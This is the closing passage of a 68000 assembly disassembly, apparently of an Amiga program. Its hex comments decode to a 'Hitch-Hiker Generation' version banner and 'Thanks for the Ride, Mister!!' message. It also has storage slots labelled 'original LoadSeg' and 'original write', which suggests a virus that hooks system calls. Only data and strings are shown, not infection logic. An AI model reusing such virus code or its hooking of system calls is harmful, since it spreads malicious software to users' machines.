DC.W $0A0A ;6F6
ADDQ #2,25888(A0) ;6F8: 54686520
PEA 29795(A1) ;6FC: 48697463
DC.W $682D ;700
PEA 27493(A1) ;702: 48696B65
MOVEQ #10,D1 ;706: 720A
DC.W $4765 ;708
DC.W $6E65 ;70A
MOVEQ #97,D1 ;70C: 7261
MOVEQ #105,D2 ;70E: 7469
BLE.S LAB_0068 ;710: 6F6E
MOVE -(A0),D5 ;712: 3A20
LAB_0057:
MOVE 48(A0,D3.W),D0 ;714: 30303030
DC.W $3031 ;718
DC.W $3235 ;71A
DC.W $0A2D ;71C
MOVEA.L (A6),A0 ;71E: 2056
BCS.S LAB_006A ;720: 6572
DC.W $7369 ;722
BLE.S LAB_006A ;724: 6F6E
DC.W $2032 ;726
DC.W $2E30 ;728
MOVE A2,-(A0) ;72A: 310A
DC.W $0A0A ;72C
ADDQ #2,24942(A0) ;72E: 5468616E
DC.W $6B73 ;732
MOVEA.L -(A6),A0 ;734: 2066
DC.W $6F72 ;736
DC.W $2074 ;738
DC.W $6865 ;73A
MOVEA.L (A2),A0 ;73C: 2052
BVS.S LAB_006B ;73E: 6964
BCS.S LAB_0061+2 ;740: 652C
MOVEA.L A5,A0 ;742: 204D
DC.W $6973 ;744
MOVEQ #101,D2 ;746: 7465
MOVEQ #33,D1 ;748: 7221
MOVE.L A2,-(A0) ;74A: 210A
LAB_0058:
ORI.B #$00,D0 ;74C: 00000000
LAB_0059:
ORI.B #$00,D0 ;750: 00000000 original LoadSeg
LAB_005A:
ORI.B #$00,D0 ;754: 00000000 original write
LAB_005B:
ORI.B #$00,D0 ;758: 00000000
LAB_005C:
DC.W $0003 ;75C
SNE (A0)+ ;75E: 56D8
LAB_005D:
DC.W $0000 ;760
BCHG D3,(A4)+ ;762: 075C
LAB_005E:
ORI.B #$00,D0 ;764: 00000000
LAB_0060:
ORI.B #$00,D0 ;768: 00000000
LAB_0061:
ORI.B #$00,D0 ;76C: 00000000
LAB_0063:
ORI.B #$00,D0 ;770: 00000000
LAB_0064:
ORI.B #$00,D0 ;774: 00000000
LAB_0066:
ORI.B #$00,D0 ;778: 00000000
LAB_0067:
ORI.B #$00,D0 ;77C: 00000000
LAB_0068:
ORI.B #$00,D0 ;780: 00000000
LAB_0069:
DC.W $0000 ;784
DC.W $038C ;786
DC.W $FFFF ;788
DC.W $FFFD ;78A
DC.W $636C ;78C
DC.W $7300 ;78E
ORI.B #$00,D0 ;790: 00000000
LAB_006A:
ORI.B #$00,D0 ;794: 00000000
ORI.B #$00,D0 ;798: 00000000
ORI.B #$00,D0 ;79C: 00000000
ORI.B #$00,D0 ;7A0: 00000000
LAB_006B:
ORI.B #$00,D0 ;7A4: 00000000
END